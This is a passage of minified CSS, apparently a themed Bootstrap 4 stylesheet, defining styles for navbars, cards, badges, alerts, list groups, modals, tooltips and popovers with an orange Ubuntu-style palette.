1rem}.navbar>.container,.navbar>.container-fluid{display:-webkit-box;display:-ms-flexbox;display:flex;-ms-flex-wrap:wrap;flex-wrap:wrap;-webkit-box-align:center;-ms-flex-align:center;align-items:center;-webkit-box-pack:justify;-ms-flex-pack:justify;justify-content:space-between}.navbar-brand{display:inline-block;padding-top:0.3125rem;padding-bottom:0.3125rem;margin-right:1rem;font-size:1.25rem;line-height:inherit;white-space:nowrap}.navbar-brand:hover,.navbar-brand:focus{text-decoration:none}.navbar-nav{display:-webkit-box;display:-ms-flexbox;display:flex;-webkit-box-orient:vertical;-webkit-box-direction:normal;-ms-flex-direction:column;flex-direction:column;padding-left:0;margin-bottom:0;list-style:none}.navbar-nav .nav-link{padding-right:0;padding-left:0}.navbar-nav .dropdown-menu{position:static;float:none}.navbar-text{display:inline-block;padding-top:0.5rem;padding-bottom:0.5rem}.navbar-collapse{-ms-flex-preferred-size:100%;flex-basis:100%;-webkit-box-flex:1;-ms-flex-positive:1;flex-grow:1;-webkit-box-align:center;-ms-flex-align:center;align-items:center}.navbar-toggler{padding:0.25rem 0.75rem;font-size:1.25rem;line-height:1;background-color:transparent;border:1px solid transparent;border-radius:0.25rem}.navbar-toggler:hover,.navbar-toggler:focus{text-decoration:none}.navbar-toggler:not(:disabled):not(.disabled){cursor:pointer}.navbar-toggler-icon{display:inline-block;width:1.5em;height:1.5em;vertical-align:middle;content:"";background:no-repeat center center;background-size:100% 100%}@media (max-width: 575.98px){.navbar-expand-sm>.container,.navbar-expand-sm>.container-fluid{padding-right:0;padding-left:0}}@media (min-width: 576px){.navbar-expand-sm{-webkit-box-orient:horizontal;-webkit-box-direction:normal;-ms-flex-flow:row nowrap;flex-flow:row nowrap;-webkit-box-pack:start;-ms-flex-pack:start;justify-content:flex-start}.navbar-expand-sm .navbar-nav{-webkit-box-orient:horizontal;-webkit-box-direction:normal;-ms-flex-direction:row;flex-direction:row}.navbar-expand-sm .navbar-nav .dropdown-menu{position:absolute}.navbar-expand-sm .navbar-nav .dropdown-menu-right{right:0;left:auto}.navbar-expand-sm .navbar-nav .nav-link{padding-right:0.5rem;padding-left:0.5rem}.navbar-expand-sm>.container,.navbar-expand-sm>.container-fluid{-ms-flex-wrap:nowrap;flex-wrap:nowrap}.navbar-expand-sm .navbar-collapse{display:-webkit-box !important;display:-ms-flexbox !important;display:flex !important;-ms-flex-preferred-size:auto;flex-basis:auto}.navbar-expand-sm .navbar-toggler{display:none}.navbar-expand-sm .dropup .dropdown-menu{top:auto;bottom:100%}}@media (max-width: 767.98px){.navbar-expand-md>.container,.navbar-expand-md>.container-fluid{padding-right:0;padding-left:0}}@media (min-width: 768px){.navbar-expand-md{-webkit-box-orient:horizontal;-webkit-box-direction:normal;-ms-flex-flow:row nowrap;flex-flow:row nowrap;-webkit-box-pack:start;-ms-flex-pack:start;justify-content:flex-start}.navbar-expand-md .navbar-nav{-webkit-box-orient:horizontal;-webkit-box-direction:normal;-ms-flex-direction:row;flex-direction:row}.navbar-expand-md .navbar-nav .dropdown-menu{position:absolute}.navbar-expand-md .navbar-nav .dropdown-menu-right{right:0;left:auto}.navbar-expand-md .navbar-nav .nav-link{padding-right:0.5rem;padding-left:0.5rem}.navbar-expand-md>.container,.navbar-expand-md>.container-fluid{-ms-flex-wrap:nowrap;flex-wrap:nowrap}.navbar-expand-md .navbar-collapse{display:-webkit-box !important;display:-ms-flexbox !important;display:flex !important;-ms-flex-preferred-size:auto;flex-basis:auto}.navbar-expand-md .navbar-toggler{display:none}.navbar-expand-md .dropup .dropdown-menu{top:auto;bottom:100%}}@media (max-width: 991.98px){.navbar-expand-lg>.container,.navbar-expand-lg>.container-fluid{padding-right:0;padding-left:0}}@media (min-width: 992px){.navbar-expand-lg{-webkit-box-orient:horizontal;-webkit-box-direction:normal;-ms-flex-flow:row nowrap;flex-flow:row nowrap;-webkit-box-pack:start;-ms-flex-pack:start;justify-content:flex-start}.navbar-expand-lg .navbar-nav{-webkit-box-orient:horizontal;-webkit-box-direction:normal;-ms-flex-direction:row;flex-direction:row}.navbar-expand-lg .navbar-nav .dropdown-menu{position:absolute}.navbar-expand-lg .navbar-nav .dropdown-menu-right{right:0;left:auto}.navbar-expand-lg .navbar-nav .nav-link{padding-right:0.5rem;padding-left:0.5rem}.navbar-expand-lg>.container,.navbar-expand-lg>.container-fluid{-ms-flex-wrap:nowrap;flex-wrap:nowrap}.navbar-expand-lg .navbar-collapse{display:-webkit-box !important;display:-ms-flexbox !important;display:flex !important;-ms-flex-preferred-size:auto;flex-basis:auto}.navbar-expand-lg .navbar-toggler{display:none}.navbar-expand-lg .dropup .dropdown-menu{top:auto;bottom:100%}}@media (max-width: 1199.98px){.navbar-expand-xl>.container,.navbar-expand-xl>.container-fluid{padding-right:0;padding-left:0}}@media (min-width: 1200px){.navbar-expand-xl{-webkit-box-orient:horizontal;-webkit-box-direction:normal;-ms-flex-flow:row nowrap;flex-flow:row nowrap;-webkit-box-pack:start;-ms-flex-pack:start;justify-content:flex-start}.navbar-expand-xl .navbar-nav{-webkit-box-orient:horizontal;-webkit-box-direction:normal;-ms-flex-direction:row;flex-direction:row}.navbar-expand-xl .navbar-nav .dropdown-menu{position:absolute}.navbar-expand-xl .navbar-nav .dropdown-menu-right{right:0;left:auto}.navbar-expand-xl .navbar-nav .nav-link{padding-right:0.5rem;padding-left:0.5rem}.navbar-expand-xl>.container,.navbar-expand-xl>.container-fluid{-ms-flex-wrap:nowrap;flex-wrap:nowrap}.navbar-expand-xl .navbar-collapse{display:-webkit-box !important;display:-ms-flexbox !important;display:flex !important;-ms-flex-preferred-size:auto;flex-basis:auto}.navbar-expand-xl .navbar-toggler{display:none}.navbar-expand-xl .dropup .dropdown-menu{top:auto;bottom:100%}}.navbar-expand{-webkit-box-orient:horizontal;-webkit-box-direction:normal;-ms-flex-flow:row nowrap;flex-flow:row nowrap;-webkit-box-pack:start;-ms-flex-pack:start;justify-content:flex-start}.navbar-expand>.container,.navbar-expand>.container-fluid{padding-right:0;padding-left:0}.navbar-expand .navbar-nav{-webkit-box-orient:horizontal;-webkit-box-direction:normal;-ms-flex-direction:row;flex-direction:row}.navbar-expand .navbar-nav .dropdown-menu{position:absolute}.navbar-expand .navbar-nav .dropdown-menu-right{right:0;left:auto}.navbar-expand .navbar-nav .nav-link{padding-right:0.5rem;padding-left:0.5rem}.navbar-expand>.container,.navbar-expand>.container-fluid{-ms-flex-wrap:nowrap;flex-wrap:nowrap}.navbar-expand .navbar-collapse{display:-webkit-box !important;display:-ms-flexbox !important;display:flex !important;-ms-flex-preferred-size:auto;flex-basis:auto}.navbar-expand .navbar-toggler{display:none}.navbar-expand .dropup .dropdown-menu{top:auto;bottom:100%}.navbar-light .navbar-brand{color:rgba(0,0,0,0.9)}.navbar-light .navbar-brand:hover,.navbar-light .navbar-brand:focus{color:rgba(0,0,0,0.9)}.navbar-light .navbar-nav .nav-link{color:rgba(0,0,0,0.5)}.navbar-light .navbar-nav .nav-link:hover,.navbar-light .navbar-nav .nav-link:focus{color:rgba(0,0,0,0.7)}.navbar-light .navbar-nav .nav-link.disabled{color:rgba(0,0,0,0.3)}.navbar-light .navbar-nav .show>.nav-link,.navbar-light .navbar-nav .active>.nav-link,.navbar-light .navbar-nav .nav-link.show,.navbar-light .navbar-nav .nav-link.active{color:rgba(0,0,0,0.9)}.navbar-light .navbar-toggler{color:rgba(0,0,0,0.5);border-color:rgba(0,0,0,0.1)}.navbar-light .navbar-toggler-icon{background-image:url("data:image/svg+xml;charset=utf8,%3Csvg viewBox='0 0 30 30' xmlns='http://www.w3.org/2000/svg'%3E%3Cpath stroke='rgba(0, 0, 0, 0.5)' stroke-width='2' stroke-linecap='round' stroke-miterlimit='10' d='M4 7h22M4 15h22M4 23h22'/%3E%3C/svg%3E")}.navbar-light .navbar-text{color:rgba(0,0,0,0.5)}.navbar-light .navbar-text a{color:rgba(0,0,0,0.9)}.navbar-light .navbar-text a:hover,.navbar-light .navbar-text a:focus{color:rgba(0,0,0,0.9)}.navbar-dark .navbar-brand{color:#fff}.navbar-dark .navbar-brand:hover,.navbar-dark .navbar-brand:focus{color:#fff}.navbar-dark .navbar-nav .nav-link{color:rgba(255,255,255,0.5)}.navbar-dark .navbar-nav .nav-link:hover,.navbar-dark .navbar-nav .nav-link:focus{color:rgba(255,255,255,0.75)}.navbar-dark .navbar-nav .nav-link.disabled{color:rgba(255,255,255,0.25)}.navbar-dark .navbar-nav .show>.nav-link,.navbar-dark .navbar-nav .active>.nav-link,.navbar-dark .navbar-nav .nav-link.show,.navbar-dark .navbar-nav .nav-link.active{color:#fff}.navbar-dark .navbar-toggler{color:rgba(255,255,255,0.5);border-color:rgba(255,255,255,0.1)}.navbar-dark .navbar-toggler-icon{background-image:url("data:image/svg+xml;charset=utf8,%3Csvg viewBox='0 0 30 30' xmlns='http://www.w3.org/2000/svg'%3E%3Cpath stroke='rgba(255, 255, 255, 0.5)' stroke-width='2' stroke-linecap='round' stroke-miterlimit='10' d='M4 7h22M4 15h22M4 23h22'/%3E%3C/svg%3E")}.navbar-dark .navbar-text{color:rgba(255,255,255,0.5)}.navbar-dark .navbar-text a{color:#fff}.navbar-dark .navbar-text a:hover,.navbar-dark .navbar-text a:focus{color:#fff}.card{position:relative;display:-webkit-box;display:-ms-flexbox;display:flex;-webkit-box-orient:vertical;-webkit-box-direction:normal;-ms-flex-direction:column;flex-direction:column;min-width:0;word-wrap:break-word;background-color:#fff;background-clip:border-box;border:1px solid rgba(0,0,0,0.125);border-radius:0.25rem}.card>hr{margin-right:0;margin-left:0}.card>.list-group:first-child .list-group-item:first-child{border-top-left-radius:0.25rem;border-top-right-radius:0.25rem}.card>.list-group:last-child .list-group-item:last-child{border-bottom-right-radius:0.25rem;border-bottom-left-radius:0.25rem}.card-body{-webkit-box-flex:1;-ms-flex:1 1 auto;flex:1 1 auto;padding:1.25rem}.card-title{margin-bottom:0.75rem}.card-subtitle{margin-top:-0.375rem;margin-bottom:0}.card-text:last-child{margin-bottom:0}.card-link:hover{text-decoration:none}.card-link+.card-link{margin-left:1.25rem}.card-header{padding:0.75rem 1.25rem;margin-bottom:0;background-color:rgba(0,0,0,0.03);border-bottom:1px solid rgba(0,0,0,0.125)}.card-header:first-child{border-radius:calc(0.25rem - 1px) calc(0.25rem - 1px) 0 0}.card-header+.list-group .list-group-item:first-child{border-top:0}.card-footer{padding:0.75rem 1.25rem;background-color:rgba(0,0,0,0.03);border-top:1px solid rgba(0,0,0,0.125)}.card-footer:last-child{border-radius:0 0 calc(0.25rem - 1px) calc(0.25rem - 1px)}.card-header-tabs{margin-right:-0.625rem;margin-bottom:-0.75rem;margin-left:-0.625rem;border-bottom:0}.card-header-pills{margin-right:-0.625rem;margin-left:-0.625rem}.card-img-overlay{position:absolute;top:0;right:0;bottom:0;left:0;padding:1.25rem}.card-img{width:100%;border-radius:calc(0.25rem - 1px)}.card-img-top{width:100%;border-top-left-radius:calc(0.25rem - 1px);border-top-right-radius:calc(0.25rem - 1px)}.card-img-bottom{width:100%;border-bottom-right-radius:calc(0.25rem - 1px);border-bottom-left-radius:calc(0.25rem - 1px)}.card-deck{display:-webkit-box;display:-ms-flexbox;display:flex;-webkit-box-orient:vertical;-webkit-box-direction:normal;-ms-flex-direction:column;flex-direction:column}.card-deck .card{margin-bottom:15px}@media (min-width: 576px){.card-deck{-webkit-box-orient:horizontal;-webkit-box-direction:normal;-ms-flex-flow:row wrap;flex-flow:row wrap;margin-right:-15px;margin-left:-15px}.card-deck .card{display:-webkit-box;display:-ms-flexbox;display:flex;-webkit-box-flex:1;-ms-flex:1 0 0%;flex:1 0 0%;-webkit-box-orient:vertical;-webkit-box-direction:normal;-ms-flex-direction:column;flex-direction:column;margin-right:15px;margin-bottom:0;margin-left:15px}}.card-group{display:-webkit-box;display:-ms-flexbox;display:flex;-webkit-box-orient:vertical;-webkit-box-direction:normal;-ms-flex-direction:column;flex-direction:column}.card-group>.card{margin-bottom:15px}@media (min-width: 576px){.card-group{-webkit-box-orient:horizontal;-webkit-box-direction:normal;-ms-flex-flow:row wrap;flex-flow:row wrap}.card-group>.card{-webkit-box-flex:1;-ms-flex:1 0 0%;flex:1 0 0%;margin-bottom:0}.card-group>.card+.card{margin-left:0;border-left:0}.card-group>.card:first-child{border-top-right-radius:0;border-bottom-right-radius:0}.card-group>.card:first-child .card-img-top,.card-group>.card:first-child .card-header{border-top-right-radius:0}.card-group>.card:first-child .card-img-bottom,.card-group>.card:first-child .card-footer{border-bottom-right-radius:0}.card-group>.card:last-child{border-top-left-radius:0;border-bottom-left-radius:0}.card-group>.card:last-child .card-img-top,.card-group>.card:last-child .card-header{border-top-left-radius:0}.card-group>.card:last-child .card-img-bottom,.card-group>.card:last-child .card-footer{border-bottom-left-radius:0}.card-group>.card:only-child{border-radius:0.25rem}.card-group>.card:only-child .card-img-top,.card-group>.card:only-child .card-header{border-top-left-radius:0.25rem;border-top-right-radius:0.25rem}.card-group>.card:only-child .card-img-bottom,.card-group>.card:only-child .card-footer{border-bottom-right-radius:0.25rem;border-bottom-left-radius:0.25rem}.card-group>.card:not(:first-child):not(:last-child):not(:only-child){border-radius:0}.card-group>.card:not(:first-child):not(:last-child):not(:only-child) .card-img-top,.card-group>.card:not(:first-child):not(:last-child):not(:only-child) .card-img-bottom,.card-group>.card:not(:first-child):not(:last-child):not(:only-child) .card-header,.card-group>.card:not(:first-child):not(:last-child):not(:only-child) .card-footer{border-radius:0}}.card-columns .card{margin-bottom:0.75rem}@media (min-width: 576px){.card-columns{-webkit-column-count:3;column-count:3;-webkit-column-gap:1.25rem;column-gap:1.25rem}.card-columns .card{display:inline-block;width:100%}}.breadcrumb{display:-webkit-box;display:-ms-flexbox;display:flex;-ms-flex-wrap:wrap;flex-wrap:wrap;padding:0.75rem 1rem;margin-bottom:1rem;list-style:none;background-color:#e9ecef;border-radius:0.25rem}.breadcrumb-item+.breadcrumb-item::before{display:inline-block;padding-right:0.5rem;padding-left:0.5rem;color:#868e96;content:"/"}.breadcrumb-item+.breadcrumb-item:hover::before{text-decoration:underline}.breadcrumb-item+.breadcrumb-item:hover::before{text-decoration:none}.breadcrumb-item.active{color:#868e96}.pagination{display:-webkit-box;display:-ms-flexbox;display:flex;padding-left:0;list-style:none;border-radius:0.25rem}.page-link{position:relative;display:block;padding:0.5rem 0.75rem;margin-left:-1px;line-height:1.25;color:#E95420;background-color:#fff;border:1px solid #dee2e6}.page-link:hover{color:#ac3911;text-decoration:none;background-color:#e9ecef;border-color:#dee2e6}.page-link:focus{z-index:2;outline:0;-webkit-box-shadow:0 0 0 0.2rem rgba(233,84,32,0.25);box-shadow:0 0 0 0.2rem rgba(233,84,32,0.25)}.page-link:not(:disabled):not(.disabled){cursor:pointer}.page-item:first-child .page-link{margin-left:0;border-top-left-radius:0.25rem;border-bottom-left-radius:0.25rem}.page-item:last-child .page-link{border-top-right-radius:0.25rem;border-bottom-right-radius:0.25rem}.page-item.active .page-link{z-index:1;color:#fff;background-color:#E95420;border-color:#E95420}.page-item.disabled .page-link{color:#868e96;pointer-events:none;cursor:auto;background-color:#fff;border-color:#dee2e6}.pagination-lg .page-link{padding:0.75rem 1.5rem;font-size:1.25rem;line-height:1.5}.pagination-lg .page-item:first-child .page-link{border-top-left-radius:0.3rem;border-bottom-left-radius:0.3rem}.pagination-lg .page-item:last-child .page-link{border-top-right-radius:0.3rem;border-bottom-right-radius:0.3rem}.pagination-sm .page-link{padding:0.25rem 0.5rem;font-size:0.875rem;line-height:1.5}.pagination-sm .page-item:first-child .page-link{border-top-left-radius:0.2rem;border-bottom-left-radius:0.2rem}.pagination-sm .page-item:last-child .page-link{border-top-right-radius:0.2rem;border-bottom-right-radius:0.2rem}.badge{display:inline-block;padding:0.25em 0.4em;font-size:75%;font-weight:700;line-height:1;text-align:center;white-space:nowrap;vertical-align:baseline;border-radius:0.25rem}.badge:empty{display:none}.btn .badge{position:relative;top:-1px}.badge-pill{padding-right:0.6em;padding-left:0.6em;border-radius:10rem}.badge-primary{color:#fff;background-color:#E95420}.badge-primary[href]:hover,.badge-primary[href]:focus{color:#fff;text-decoration:none;background-color:#c34113}.badge-secondary{color:#fff;background-color:#AEA79F}.badge-secondary[href]:hover,.badge-secondary[href]:focus{color:#fff;text-decoration:none;background-color:#978e83}.badge-success{color:#fff;background-color:#38B44A}.badge-success[href]:hover,.badge-success[href]:focus{color:#fff;text-decoration:none;background-color:#2c8d3a}.badge-info{color:#fff;background-color:#17a2b8}.badge-info[href]:hover,.badge-info[href]:focus{color:#fff;text-decoration:none;background-color:#117a8b}.badge-warning{color:#fff;background-color:#EFB73E}.badge-warning[href]:hover,.badge-warning[href]:focus{color:#fff;text-decoration:none;background-color:#e7a413}.badge-danger{color:#fff;background-color:#DF382C}.badge-danger[href]:hover,.badge-danger[href]:focus{color:#fff;text-decoration:none;background-color:#bc271c}.badge-light{color:#212529;background-color:#e9ecef}.badge-light[href]:hover,.badge-light[href]:focus{color:#212529;text-decoration:none;background-color:#cbd3da}.badge-dark{color:#fff;background-color:#772953}.badge-dark[href]:hover,.badge-dark[href]:focus{color:#fff;text-decoration:none;background-color:#511c39}.jumbotron{padding:2rem 1rem;margin-bottom:2rem;background-color:#e9ecef;border-radius:0.3rem}@media (min-width: 576px){.jumbotron{padding:4rem 2rem}}.jumbotron-fluid{padding-right:0;padding-left:0;border-radius:0}.alert{position:relative;padding:0.75rem 1.25rem;margin-bottom:1rem;border:1px solid transparent;border-radius:0.25rem}.alert-heading{color:inherit}.alert-link{font-weight:700}.alert-dismissible{padding-right:4rem}.alert-dismissible .close{position:absolute;top:0;right:0;padding:0.75rem 1.25rem;color:inherit}.alert-primary{color:#792c11;background-color:#fbddd2;border-color:#f9cfc1}.alert-primary hr{border-top-color:#f7bdaa}.alert-primary .alert-link{color:#4c1c0b}.alert-secondary{color:#5a5753;background-color:#efedec;border-color:#e8e6e4}.alert-secondary hr{border-top-color:#dcd9d6}.alert-secondary .alert-link{color:#3f3d3b}.alert-success{color:#1d5e26;background-color:#d7f0db;border-color:#c7eacc}.alert-success hr{border-top-color:#b4e3bb}.alert-success .alert-link{color:#113716}.alert-info{color:#0c5460;background-color:#d1ecf1;border-color:#bee5eb}.alert-info hr{border-top-color:#abdde5}.alert-info .alert-link{color:#062c33}.alert-warning{color:#7c5f20;background-color:#fcf1d8;border-color:#fbebc9}.alert-warning hr{border-top-color:#f9e2b1}.alert-warning .alert-link{color:#534016}.alert-danger{color:#741d17;background-color:#f9d7d5;border-color:#f6c7c4}.alert-danger hr{border-top-color:#f3b2ae}.alert-danger .alert-link{color:#49120f}.alert-light{color:#797b7c;background-color:#fbfbfc;border-color:#f9fafb}.alert-light hr{border-top-color:#eaedf1}.alert-light .alert-link{color:#606162}.alert-dark{color:#3e152b;background-color:#e4d4dd;border-color:#d9c3cf}.alert-dark hr{border-top-color:#cfb3c3}.alert-dark .alert-link{color:#180811}@-webkit-keyframes progress-bar-stripes{from{background-position:1rem 0}to{background-position:0 0}}@keyframes progress-bar-stripes{from{background-position:1rem 0}to{background-position:0 0}}.progress{display:-webkit-box;display:-ms-flexbox;display:flex;height:1rem;overflow:hidden;font-size:0.75rem;background-color:#e9ecef;border-radius:0.25rem}.progress-bar{display:-webkit-box;display:-ms-flexbox;display:flex;-webkit-box-orient:vertical;-webkit-box-direction:normal;-ms-flex-direction:column;flex-direction:column;-webkit-box-pack:center;-ms-flex-pack:center;justify-content:center;color:#fff;text-align:center;background-color:#E95420;-webkit-transition:width 0.6s ease;transition:width 0.6s ease}.progress-bar-striped{background-image:linear-gradient(45deg, rgba(255,255,255,0.15) 25%, transparent 25%, transparent 50%, rgba(255,255,255,0.15) 50%, rgba(255,255,255,0.15) 75%, transparent 75%, transparent);background-size:1rem 1rem}.progress-bar-animated{-webkit-animation:progress-bar-stripes 1s linear infinite;animation:progress-bar-stripes 1s linear infinite}.media{display:-webkit-box;display:-ms-flexbox;display:flex;-webkit-box-align:start;-ms-flex-align:start;align-items:flex-start}.media-body{-webkit-box-flex:1;-ms-flex:1;flex:1}.list-group{display:-webkit-box;display:-ms-flexbox;display:flex;-webkit-box-orient:vertical;-webkit-box-direction:normal;-ms-flex-direction:column;flex-direction:column;padding-left:0;margin-bottom:0}.list-group-item-action{width:100%;color:#495057;text-align:inherit}.list-group-item-action:hover,.list-group-item-action:focus{color:#495057;text-decoration:none;background-color:#f8f9fa}.list-group-item-action:active{color:#333;background-color:#e9ecef}.list-group-item{position:relative;display:block;padding:0.75rem 1.25rem;margin-bottom:-1px;background-color:#fff;border:1px solid rgba(0,0,0,0.125)}.list-group-item:first-child{border-top-left-radius:0.25rem;border-top-right-radius:0.25rem}.list-group-item:last-child{margin-bottom:0;border-bottom-right-radius:0.25rem;border-bottom-left-radius:0.25rem}.list-group-item:hover,.list-group-item:focus{z-index:1;text-decoration:none}.list-group-item.disabled,.list-group-item:disabled{color:#868e96;background-color:#fff}.list-group-item.active{z-index:2;color:#fff;background-color:#E95420;border-color:#E95420}.list-group-flush .list-group-item{border-right:0;border-left:0;border-radius:0}.list-group-flush:first-child .list-group-item:first-child{border-top:0}.list-group-flush:last-child .list-group-item:last-child{border-bottom:0}.list-group-item-primary{color:#792c11;background-color:#f9cfc1}.list-group-item-primary.list-group-item-action:hover,.list-group-item-primary.list-group-item-action:focus{color:#792c11;background-color:#f7bdaa}.list-group-item-primary.list-group-item-action.active{color:#fff;background-color:#792c11;border-color:#792c11}.list-group-item-secondary{color:#5a5753;background-color:#e8e6e4}.list-group-item-secondary.list-group-item-action:hover,.list-group-item-secondary.list-group-item-action:focus{color:#5a5753;background-color:#dcd9d6}.list-group-item-secondary.list-group-item-action.active{color:#fff;background-color:#5a5753;border-color:#5a5753}.list-group-item-success{color:#1d5e26;background-color:#c7eacc}.list-group-item-success.list-group-item-action:hover,.list-group-item-success.list-group-item-action:focus{color:#1d5e26;background-color:#b4e3bb}.list-group-item-success.list-group-item-action.active{color:#fff;background-color:#1d5e26;border-color:#1d5e26}.list-group-item-info{color:#0c5460;background-color:#bee5eb}.list-group-item-info.list-group-item-action:hover,.list-group-item-info.list-group-item-action:focus{color:#0c5460;background-color:#abdde5}.list-group-item-info.list-group-item-action.active{color:#fff;background-color:#0c5460;border-color:#0c5460}.list-group-item-warning{color:#7c5f20;background-color:#fbebc9}.list-group-item-warning.list-group-item-action:hover,.list-group-item-warning.list-group-item-action:focus{color:#7c5f20;background-color:#f9e2b1}.list-group-item-warning.list-group-item-action.active{color:#fff;background-color:#7c5f20;border-color:#7c5f20}.list-group-item-danger{color:#741d17;background-color:#f6c7c4}.list-group-item-danger.list-group-item-action:hover,.list-group-item-danger.list-group-item-action:focus{color:#741d17;background-color:#f3b2ae}.list-group-item-danger.list-group-item-action.active{color:#fff;background-color:#741d17;border-color:#741d17}.list-group-item-light{color:#797b7c;background-color:#f9fafb}.list-group-item-light.list-group-item-action:hover,.list-group-item-light.list-group-item-action:focus{color:#797b7c;background-color:#eaedf1}.list-group-item-light.list-group-item-action.active{color:#fff;background-color:#797b7c;border-color:#797b7c}.list-group-item-dark{color:#3e152b;background-color:#d9c3cf}.list-group-item-dark.list-group-item-action:hover,.list-group-item-dark.list-group-item-action:focus{color:#3e152b;background-color:#cfb3c3}.list-group-item-dark.list-group-item-action.active{color:#fff;background-color:#3e152b;border-color:#3e152b}.close{float:right;font-size:1.5rem;font-weight:700;line-height:1;color:#000;text-shadow:0 1px 0 #fff;opacity:.5}.close:hover,.close:focus{color:#000;text-decoration:none;opacity:.75}.close:not(:disabled):not(.disabled){cursor:pointer}button.close{padding:0;background-color:transparent;border:0;-webkit-appearance:none}.modal-open{overflow:hidden}.modal{position:fixed;top:0;right:0;bottom:0;left:0;z-index:1050;display:none;overflow:hidden;outline:0}.modal-open .modal{overflow-x:hidden;overflow-y:auto}.modal-dialog{position:relative;width:auto;margin:0.5rem;pointer-events:none}.modal.fade .modal-dialog{-webkit-transition:-webkit-transform 0.3s ease-out;transition:-webkit-transform 0.3s ease-out;transition:transform 0.3s ease-out;transition:transform 0.3s ease-out, -webkit-transform 0.3s ease-out;-webkit-transform:translate(0, -25%);transform:translate(0, -25%)}.modal.show .modal-dialog{-webkit-transform:translate(0, 0);transform:translate(0, 0)}.modal-dialog-centered{display:-webkit-box;display:-ms-flexbox;display:flex;-webkit-box-align:center;-ms-flex-align:center;align-items:center;min-height:calc(100% - (0.5rem * 2))}.modal-content{position:relative;display:-webkit-box;display:-ms-flexbox;display:flex;-webkit-box-orient:vertical;-webkit-box-direction:normal;-ms-flex-direction:column;flex-direction:column;width:100%;pointer-events:auto;background-color:#fff;background-clip:padding-box;border:1px solid rgba(0,0,0,0.2);border-radius:0.3rem;outline:0}.modal-backdrop{position:fixed;top:0;right:0;bottom:0;left:0;z-index:1040;background-color:#000}.modal-backdrop.fade{opacity:0}.modal-backdrop.show{opacity:0.5}.modal-header{display:-webkit-box;display:-ms-flexbox;display:flex;-webkit-box-align:start;-ms-flex-align:start;align-items:flex-start;-webkit-box-pack:justify;-ms-flex-pack:justify;justify-content:space-between;padding:1rem;border-bottom:1px solid #e9ecef;border-top-left-radius:0.3rem;border-top-right-radius:0.3rem}.modal-header .close{padding:1rem;margin:-1rem -1rem -1rem auto}.modal-title{margin-bottom:0;line-height:1.5}.modal-body{position:relative;-webkit-box-flex:1;-ms-flex:1 1 auto;flex:1 1 auto;padding:1rem}.modal-footer{display:-webkit-box;display:-ms-flexbox;display:flex;-webkit-box-align:center;-ms-flex-align:center;align-items:center;-webkit-box-pack:end;-ms-flex-pack:end;justify-content:flex-end;padding:1rem;border-top:1px solid #e9ecef}.modal-footer>:not(:first-child){margin-left:.25rem}.modal-footer>:not(:last-child){margin-right:.25rem}.modal-scrollbar-measure{position:absolute;top:-9999px;width:50px;height:50px;overflow:scroll}@media (min-width: 576px){.modal-dialog{max-width:500px;margin:1.75rem auto}.modal-dialog-centered{min-height:calc(100% - (1.75rem * 2))}.modal-sm{max-width:300px}}@media (min-width: 992px){.modal-lg{max-width:800px}}.tooltip{position:absolute;z-index:1070;display:block;margin:0;font-family:"Ubuntu", -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, "Helvetica Neue", Arial, sans-serif, "Apple Color Emoji", "Segoe UI Emoji", "Segoe UI Symbol";font-style:normal;font-weight:400;line-height:1.5;text-align:left;text-align:start;text-decoration:none;text-shadow:none;text-transform:none;letter-spacing:normal;word-break:normal;word-spacing:normal;white-space:normal;line-break:auto;font-size:0.875rem;word-wrap:break-word;opacity:0}.tooltip.show{opacity:0.9}.tooltip .arrow{position:absolute;display:block;width:0.8rem;height:0.4rem}.tooltip .arrow::before{position:absolute;content:"";border-color:transparent;border-style:solid}.bs-tooltip-top,.bs-tooltip-auto[x-placement^="top"]{padding:0.4rem 0}.bs-tooltip-top .arrow,.bs-tooltip-auto[x-placement^="top"] .arrow{bottom:0}.bs-tooltip-top .arrow::before,.bs-tooltip-auto[x-placement^="top"] .arrow::before{top:0;border-width:0.4rem 0.4rem 0;border-top-color:#000}.bs-tooltip-right,.bs-tooltip-auto[x-placement^="right"]{padding:0 0.4rem}.bs-tooltip-right .arrow,.bs-tooltip-auto[x-placement^="right"] .arrow{left:0;width:0.4rem;height:0.8rem}.bs-tooltip-right .arrow::before,.bs-tooltip-auto[x-placement^="right"] .arrow::before{right:0;border-width:0.4rem 0.4rem 0.4rem 0;border-right-color:#000}.bs-tooltip-bottom,.bs-tooltip-auto[x-placement^="bottom"]{padding:0.4rem 0}.bs-tooltip-bottom .arrow,.bs-tooltip-auto[x-placement^="bottom"] .arrow{top:0}.bs-tooltip-bottom .arrow::before,.bs-tooltip-auto[x-placement^="bottom"] .arrow::before{bottom:0;border-width:0 0.4rem 0.4rem;border-bottom-color:#000}.bs-tooltip-left,.bs-tooltip-auto[x-placement^="left"]{padding:0 0.4rem}.bs-tooltip-left .arrow,.bs-tooltip-auto[x-placement^="left"] .arrow{right:0;width:0.4rem;height:0.8rem}.bs-tooltip-left .arrow::before,.bs-tooltip-auto[x-placement^="left"] .arrow::before{left:0;border-width:0.4rem 0 0.4rem 0.4rem;border-left-color:#000}.tooltip-inner{max-width:200px;padding:0.25rem 0.5rem;color:#fff;text-align:center;background-color:#000;border-radius:0.25rem}.popover{position:absolute;top:0;left:0;z-index:1060;display:block;max-width:276px;font-family:"Ubuntu", -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, "Helvetica Neue", Arial, sans-serif, "Apple Color Emoji", "Segoe UI Emoji", "Segoe UI Symbol";font-style:normal;font-weight:400;line-height:1.5;text-align:left;text-align:start;text-decoration:none;text-shadow:none;text-transform:none;letter-spacing:normal;word-break:normal;word-spacing:normal;white-space:normal;line-break:auto;font-size:0.875rem;word-wrap:break-word;background-color:#fff;background-clip:padding-box;border:1px solid rgba(0,0,0,0.2);border-radius:0.3rem}.popover .arrow{position:absolute;display:block;width:1rem;height:0.5rem;margin:0 0.3rem}.popover .arrow::before,.popover .arrow::after{position:absolute;display:block;content:"";border-color:transparent;border-style:solid}.bs-popover-top,.bs-popover-auto[x-placement^="top"]{margin-bottom:0.5rem}.bs-popover-top .arrow,.bs-popover-auto[x-placement^="top"] .arrow{bottom:calc((0.5rem + 1px) * -1)}.bs-popover-top .arrow::before,.bs-popover-auto[x-placement^="top"] .arrow::before,.bs-popover-top .arrow::after,.bs-popover-auto[x-placement^="top"] .arrow::after{border-width:0.5rem 0.5rem 0}.bs-popover-top .arrow::before,.bs-popover-auto[x-placement^="top"] .arrow::before{bottom:0;border-top-color:rgba(0,0,0,0.25)}.bs-popover-top .arrow::after,.bs-popover-auto[x-placement^="top"] 